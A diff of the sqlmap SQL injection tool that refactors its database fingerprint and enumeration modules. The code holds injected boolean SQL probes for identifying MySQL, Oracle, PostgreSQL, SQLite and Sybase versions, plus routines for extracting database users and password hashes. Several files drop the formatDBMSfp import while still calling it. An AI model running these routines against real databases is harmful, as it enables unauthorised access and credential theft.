elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"):
kb.dbmsVersion = ["< 5.0.0"] backend.setVersion("< 5.0.0")
setDbms("%s 4" % DBMS.MYSQL) setDbms("%s 4" % DBMS.MYSQL)
self.getBanner() self.getBanner()
@ -243,26 +247,26 @@ class Fingerprint(GenericFingerprint):
# Check which version of MySQL < 5.0.0 it is # Check which version of MySQL < 5.0.0 it is
if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"):
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] backend.setVersionList([">= 4.1.11", "< 5.0.0"])
elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"):
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"] backend.setVersionList([">= 4.1.1", "< 4.1.11"])
elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"):
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"] backend.setVersionList([">= 4.0.6", "< 4.1.1"])
if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
kb.dbmsVersion = ["= 4.1.0"] backend.setVersion("= 4.1.0")
else: else:
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] backend.setVersionList([">= 4.0.6", "< 4.1.0"])
else: else:
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] backend.setVersionList([">= 4.0.0", "< 4.0.6"])
else: else:
kb.dbmsVersion = ["< 4.0.0"] backend.setVersion("< 4.0.0")
setDbms("%s 3" % DBMS.MYSQL) setDbms("%s 3" % DBMS.MYSQL)
self.getBanner() self.getBanner()
return True return True
else: else:
warnMsg = "the back-end DBMS is not MySQL" warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
@ -275,9 +279,10 @@ class Fingerprint(GenericFingerprint):
logger.info(infoMsg) logger.info(infoMsg)
result = inject.checkBooleanExpression("'/'=(SELECT MID(@@datadir, 1, 1))") result = inject.checkBooleanExpression("'/'=(SELECT MID(@@datadir, 1, 1))")
if result is True:
if result:
kb.os = "Linux" kb.os = "Linux"
elif result is False: elif not result:
kb.os = "Windows" kb.os = "Windows"
if kb.os: if kb.os:

View File

@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
""" """
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import getRange from lib.core.common import getRange
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
@ -30,7 +30,7 @@ class Enumeration(GenericEnumeration):
def getRoles(self, query2=False): def getRoles(self, query2=False):
infoMsg = "fetching database users roles" infoMsg = "fetching database users roles"
rootQuery = queries[getIdentifiedDBMS()].roles rootQuery = queries[backend.getIdentifiedDbms()].roles
if conf.user == "CU": if conf.user == "CU":
infoMsg += " for current user" infoMsg += " for current user"
@ -179,7 +179,7 @@ class Enumeration(GenericEnumeration):
return [] return []
def searchColumn(self): def searchColumn(self):
rootQuery = queries[getIdentifiedDBMS()].search_column rootQuery = queries[backend.getIdentifiedDbms()].search_column
foundCols = {} foundCols = {}
dbs = { "USERS": {} } dbs = { "USERS": {} }
colList = conf.col.split(",") colList = conf.col.split(",")

View File

@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import backend
from lib.core.common import formatFingerprint from lib.core.common import format
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -30,13 +29,13 @@ class Fingerprint(GenericFingerprint):
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = format.getOs("web server", kb.headersFp)
if wsOsFp: if wsOsFp:
value += "%s\n" % wsOsFp value += "%s\n" % wsOsFp
if kb.data.banner: if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp: if dbmsOsFp:
value += "%s\n" % dbmsOsFp value += "%s\n" % dbmsOsFp
@ -56,7 +55,7 @@ class Fingerprint(GenericFingerprint):
banVer = formatDBMSfp([banVer]) banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getErrorParsedDBMSesFormatted() htmlErrorFp = format.getErrorParsedDBMSes()
if htmlErrorFp: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
@ -64,14 +63,14 @@ class Fingerprint(GenericFingerprint):
return value return value
def checkDbms(self): def checkDbms(self):
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES: if not conf.extensiveFp and (backend.isDbmsWithin(ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES):
setDbms(DBMS.ORACLE) setDbms(DBMS.ORACLE)
self.getBanner() self.getBanner()
return True return True
logMsg = "testing Oracle" logMsg = "testing %s" % DBMS.ORACLE
logger.info(logMsg) logger.info(logMsg)
# NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting
@ -82,7 +81,7 @@ class Fingerprint(GenericFingerprint):
result = inject.checkBooleanExpression("ROWNUM=ROWNUM") result = inject.checkBooleanExpression("ROWNUM=ROWNUM")
if result: if result:
logMsg = "confirming Oracle" logMsg = "confirming %s" % DBMS.ORACLE
logger.info(logMsg) logger.info(logMsg)
# NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
@ -93,7 +92,7 @@ class Fingerprint(GenericFingerprint):
result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")
if not result: if not result:
warnMsg = "the back-end DBMS is not Oracle" warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
@ -105,17 +104,20 @@ class Fingerprint(GenericFingerprint):
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
infoMsg = "actively fingerprinting %s" % DBMS.ORACLE
logger.info(infoMsg)
for version in ("11i", "10g", "9i", "8i"): for version in ("11i", "10g", "9i", "8i"):
number = int(re.search("([\d]+)", version).group(1)) number = int(re.search("([\d]+)", version).group(1))
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION), 1, %d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION), 1, %d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
if output: if output:
kb.dbmsVersion = [ version ] backend.setVersion(version)
break break
return True return True
else: else:
warnMsg = "the back-end DBMS is not Oracle" warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
@ -126,7 +128,7 @@ class Fingerprint(GenericFingerprint):
else: else:
conf.db = "USERS" conf.db = "USERS"
warnMsg = "on Oracle it is only possible to enumerate " warnMsg = "on %s it is only possible to enumerate " % DBMS.ORACLE
warnMsg += "if you provide a TABLESPACE_NAME as database " warnMsg += "if you provide a TABLESPACE_NAME as database "
warnMsg += "name. sqlmap is going to use 'USERS' as database " warnMsg += "name. sqlmap is going to use 'USERS' as database "
warnMsg += "name" warnMsg += "name"

View File

@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import backend
from lib.core.common import formatFingerprint from lib.core.common import format
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import conf from lib.core.data import conf
@ -33,13 +32,13 @@ class Fingerprint(GenericFingerprint):
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = format.getOs("web server", kb.headersFp)
if wsOsFp: if wsOsFp:
value += "%s\n" % wsOsFp value += "%s\n" % wsOsFp
if kb.data.banner: if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp: if dbmsOsFp:
value += "%s\n" % dbmsOsFp value += "%s\n" % dbmsOsFp
@ -59,7 +58,7 @@ class Fingerprint(GenericFingerprint):
banVer = formatDBMSfp([banVer]) banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getErrorParsedDBMSesFormatted() htmlErrorFp = format.getErrorParsedDBMSes()
if htmlErrorFp: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
@ -73,27 +72,27 @@ class Fingerprint(GenericFingerprint):
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2) * http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
""" """
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES: if not conf.extensiveFp and (backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES):
setDbms(DBMS.PGSQL) setDbms(DBMS.PGSQL)
self.getBanner() self.getBanner()
return True return True
infoMsg = "testing PostgreSQL" infoMsg = "testing %s" % DBMS.PGSQL
logger.info(infoMsg) logger.info(infoMsg)
randInt = getUnicode(randomInt(1)) randInt = getUnicode(randomInt(1))
result = inject.checkBooleanExpression("%s::int=%s" % (randInt, randInt)) result = inject.checkBooleanExpression("%s::int=%s" % (randInt, randInt))
if result: if result:
infoMsg = "confirming PostgreSQL" infoMsg = "confirming %s" % DBMS.PGSQL
logger.info(infoMsg) logger.info(infoMsg)
result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" % (randInt, randInt)) result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" % (randInt, randInt))
if not result: if not result:
warnMsg = "the back-end DBMS is not PostgreSQL" warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
@ -105,40 +104,43 @@ class Fingerprint(GenericFingerprint):
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
logger.info(infoMsg)
if inject.checkBooleanExpression("2=(SELECT DIV(6, 3))"): if inject.checkBooleanExpression("2=(SELECT DIV(6, 3))"):
kb.dbmsVersion = [">= 8.4.0"] backend.setVersion(">= 8.4.0")
elif inject.checkBooleanExpression("EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"): elif inject.checkBooleanExpression("EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"):
kb.dbmsVersion = [">= 8.3.0", "< 8.4"] backend.setVersionList([">= 8.3.0", "< 8.4"])
elif inject.checkBooleanExpression("ISFINITE(TRANSACTION_TIMESTAMP())"): elif inject.checkBooleanExpression("ISFINITE(TRANSACTION_TIMESTAMP())"):
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"] backend.setVersionList([">= 8.2.0", "< 8.3.0"])
elif inject.checkBooleanExpression("9=(SELECT GREATEST(5, 9, 1))"): elif inject.checkBooleanExpression("9=(SELECT GREATEST(5, 9, 1))"):
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"] backend.setVersionList([">= 8.1.0", "< 8.2.0"])
elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))"): elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))"):
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"] backend.setVersionList([">= 8.0.0", "< 8.1.0"])
elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))"): elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))"):
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"] backend.setVersionList([">= 7.4.0", "< 8.0.0"])
elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))"): elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))"):
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"] backend.setVersionList([">= 7.3.0", "< 7.4.0"])
elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"): elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"):
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"] backend.setVersionList([">= 7.2.0", "< 7.3.0"])
elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))"): elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))"):
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"] backend.setVersionList([">= 7.1.0", "< 7.2.0"])
elif inject.checkBooleanExpression("8=(SELECT POW(2, 3))"): elif inject.checkBooleanExpression("8=(SELECT POW(2, 3))"):
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"] backend.setVersionList([">= 7.0.0", "< 7.1.0"])
elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"): elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"):
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"] backend.setVersionList([">= 6.5.0", "< 6.5.3"])
elif inject.checkBooleanExpression("VERSION()=VERSION()"): elif inject.checkBooleanExpression("VERSION()=VERSION()"):
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"] backend.setVersionList([">= 6.4.0", "< 6.5.0"])
elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))"): elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))"):
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"] backend.setVersionList([">= 6.3.0", "< 6.4.0"])
elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap', 1, 1))"): elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap', 1, 1))"):
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"] backend.setVersionList([">= 6.2.0", "< 6.3.0"])
else: else:
kb.dbmsVersion = ["< 6.2.0"] backend.setVersion("< 6.2.0")
return True return True
else: else:
warnMsg = "the back-end DBMS is not PostgreSQL" warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
@ -178,7 +180,7 @@ class Fingerprint(GenericFingerprint):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
conf.db = "public" conf.db = "public"
warnMsg = "on PostgreSQL it is only possible to enumerate " warnMsg = "on %s it is only possible to enumerate " % DBMS.PGSQL
warnMsg += "on the current schema and on system databases, " warnMsg += "on the current schema and on system databases, "
warnMsg += "sqlmap is going to use 'public' schema as " warnMsg += "sqlmap is going to use 'public' schema as "
warnMsg += "database name" warnMsg += "database name"

View File

@ -8,9 +8,8 @@ See the file 'doc/COPYING' for copying permission
""" """
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import backend
from lib.core.common import formatFingerprint from lib.core.common import format
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -29,13 +28,13 @@ class Fingerprint(GenericFingerprint):
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = format.getOs("web server", kb.headersFp)
if wsOsFp: if wsOsFp:
value += "%s\n" % wsOsFp value += "%s\n" % wsOsFp
if kb.data.banner: if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp: if dbmsOsFp:
value += "%s\n" % dbmsOsFp value += "%s\n" % dbmsOsFp
@ -55,7 +54,7 @@ class Fingerprint(GenericFingerprint):
banVer = formatDBMSfp([banVer]) banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getErrorParsedDBMSesFormatted() htmlErrorFp = format.getErrorParsedDBMSes()
if htmlErrorFp: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
@ -70,32 +69,36 @@ class Fingerprint(GenericFingerprint):
* http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions
""" """
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES: if not conf.extensiveFp and (backend.isDbmsWithin(SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES):
setDbms(DBMS.SQLITE) setDbms(DBMS.SQLITE)
self.getBanner() self.getBanner()
return True return True
logMsg = "testing SQLite" logMsg = "testing %s" % DBMS.SQLITE
logger.info(logMsg) logger.info(logMsg)
result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()")
if result: if result:
logMsg = "confirming SQLite" logMsg = "confirming %s" % DBMS.SQLITE
logger.info(logMsg) logger.info(logMsg)
result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()") result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()")
if not result: if not result:
warnMsg = "the back-end DBMS is not SQLite" warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
else: else:
infoMsg = "actively fingerprinting %s" % DBMS.SQLITE
logger.info(infoMsg)
result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0")
kb.dbmsVersion = [ '3' if result else '2' ] version = '3' if result else '2'
backend.setVersion(version)
setDbms(DBMS.SQLITE) setDbms(DBMS.SQLITE)
@ -103,7 +106,7 @@ class Fingerprint(GenericFingerprint):
return True return True
else: else:
warnMsg = "the back-end DBMS is not SQLite" warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False

View File

@ -8,9 +8,8 @@ See the file 'doc/COPYING' for copying permission
""" """
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import backend
from lib.core.common import formatFingerprint from lib.core.common import format
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@ -29,13 +28,13 @@ class Fingerprint(GenericFingerprint):
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = format.getOs("web server", kb.headersFp)
if wsOsFp: if wsOsFp:
value += "%s\n" % wsOsFp value += "%s\n" % wsOsFp
if kb.data.banner: if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp: if dbmsOsFp:
value += "%s\n" % dbmsOsFp value += "%s\n" % dbmsOsFp
@ -55,7 +54,7 @@ class Fingerprint(GenericFingerprint):
banVer = formatDBMSfp([banVer]) banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getErrorParsedDBMSesFormatted() htmlErrorFp = format.getErrorParsedDBMSes()
if htmlErrorFp: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
@ -63,10 +62,10 @@ class Fingerprint(GenericFingerprint):
return value return value
def checkDbms(self): def checkDbms(self):
if not conf.extensiveFp and ((kb.dbms is not None and kb.dbms.lower() in SYBASE_ALIASES) \ if not conf.extensiveFp and (backend.isDbmsWithin(SYBASE_ALIASES) \
or conf.dbms in SYBASE_ALIASES) and kb.dbmsVersion and \ or conf.dbms in SYBASE_ALIASES) and backend.getVersion() and \
kb.dbmsVersion[0].isdigit(): backend.getVersion().isdigit():
setDbms("%s %s" % (DBMS.SYBASE, kb.dbmsVersion[0])) setDbms("%s %s" % (DBMS.SYBASE, backend.getVersion()))
self.getBanner() self.getBanner()
@ -74,7 +73,7 @@ class Fingerprint(GenericFingerprint):
return True return True
infoMsg = "testing Sybase" infoMsg = "testing %s" % DBMS.SYBASE
logger.info(infoMsg) logger.info(infoMsg)
if conf.direct: if conf.direct:
@ -83,13 +82,13 @@ class Fingerprint(GenericFingerprint):
result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()") result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()")
if result: if result:
logMsg = "confirming Sybase" logMsg = "confirming %s" % DBMS.SYBASE
logger.info(logMsg) logger.info(logMsg)
result = inject.checkBooleanExpression("suser_id()=suser_id()") result = inject.checkBooleanExpression("suser_id()=suser_id()")
if not result: if not result:
warnMsg = "the back-end DBMS is not Sybase" warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
@ -101,15 +100,19 @@ class Fingerprint(GenericFingerprint):
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
logger.info(infoMsg)
for version in range(12, 16): for version in range(12, 16):
result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version) result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version)
if result: if result:
kb.dbmsVersion = ["%d" % version] backend.setVersion(str(version))
break break
return True return True
else: else:
warnMsg = "the back-end DBMS is not Sybase" warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False

View File

@ -12,12 +12,13 @@ import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
from lib.core.common import backend
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getRange from lib.core.common import getRange
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getConsoleWidth from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems from lib.core.common import getFileItems
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
@ -84,7 +85,7 @@ class Enumeration:
infoMsg = "fetching banner" infoMsg = "fetching banner"
logger.info(infoMsg) logger.info(infoMsg)
query = queries[getIdentifiedDBMS()].banner.query query = queries[backend.getIdentifiedDbms()].banner.query
kb.data.banner = inject.getValue(query) kb.data.banner = inject.getValue(query)
bannerParser(kb.data.banner) bannerParser(kb.data.banner)
@ -106,7 +107,7 @@ class Enumeration:
infoMsg = "fetching current user" infoMsg = "fetching current user"
logger.info(infoMsg) logger.info(infoMsg)
query = queries[getIdentifiedDBMS()].current_user.query query = queries[backend.getIdentifiedDbms()].current_user.query
if not kb.data.currentUser: if not kb.data.currentUser:
kb.data.currentUser = inject.getValue(query) kb.data.currentUser = inject.getValue(query)
@ -117,7 +118,7 @@ class Enumeration:
infoMsg = "fetching current database" infoMsg = "fetching current database"
logger.info(infoMsg) logger.info(infoMsg)
query = queries[getIdentifiedDBMS()].current_db.query query = queries[backend.getIdentifiedDbms()].current_db.query
if not kb.data.currentDb: if not kb.data.currentDb:
kb.data.currentDb = inject.getValue(query) kb.data.currentDb = inject.getValue(query)
@ -128,11 +129,11 @@ class Enumeration:
infoMsg = "testing if current user is DBA" infoMsg = "testing if current user is DBA"
logger.info(infoMsg) logger.info(infoMsg)
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
self.getCurrentUser() self.getCurrentUser()
query = queries[getIdentifiedDBMS()].is_dba.query % kb.data.currentUser.split("@")[0] query = queries[backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0]
else: else:
query = queries[getIdentifiedDBMS()].is_dba.query query = queries[backend.getIdentifiedDbms()].is_dba.query
query = agent.forgeCaseStatement(query) query = agent.forgeCaseStatement(query)
@ -144,10 +145,10 @@ class Enumeration:
infoMsg = "fetching database users" infoMsg = "fetching database users"
logger.info(infoMsg) logger.info(infoMsg)
rootQuery = queries[getIdentifiedDBMS()].users rootQuery = queries[backend.getIdentifiedDbms()].users
condition = ( getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ) ) condition = ( backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")) )
condition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema ) condition |= ( backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema )
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if condition: if condition:
@ -173,14 +174,14 @@ class Enumeration:
errMsg = "unable to retrieve the number of database users" errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg raise sqlmapNoneDataException, errMsg
if getIdentifiedDBMS() == DBMS.ORACLE: if backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
indexRange = getRange(count, plusOne=plusOne) indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if getIdentifiedDBMS() in (DBMS.SYBASE, DBMS.MAXDB): if backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
elif condition: elif condition:
query = rootQuery.blind.query2 % index query = rootQuery.blind.query2 % index
@ -200,7 +201,7 @@ class Enumeration:
def getPasswordHashes(self): def getPasswordHashes(self):
infoMsg = "fetching database users password hashes" infoMsg = "fetching database users password hashes"
rootQuery = queries[getIdentifiedDBMS()].passwords rootQuery = queries[backend.getIdentifiedDbms()].passwords
if conf.user == "CU": if conf.user == "CU":
infoMsg += " for current user" infoMsg += " for current user"
@ -209,7 +210,7 @@ class Enumeration:
logger.info(infoMsg) logger.info(infoMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): if backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
query = rootQuery.inband.query2 query = rootQuery.inband.query2
else: else:
query = rootQuery.inband.query query = rootQuery.inband.query
@ -222,7 +223,7 @@ class Enumeration:
query += " WHERE " query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users) query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else: else:
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user) parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser: if parsedUser:
@ -259,7 +260,7 @@ class Enumeration:
retrievedUsers = set() retrievedUsers = set()
for user in users: for user in users:
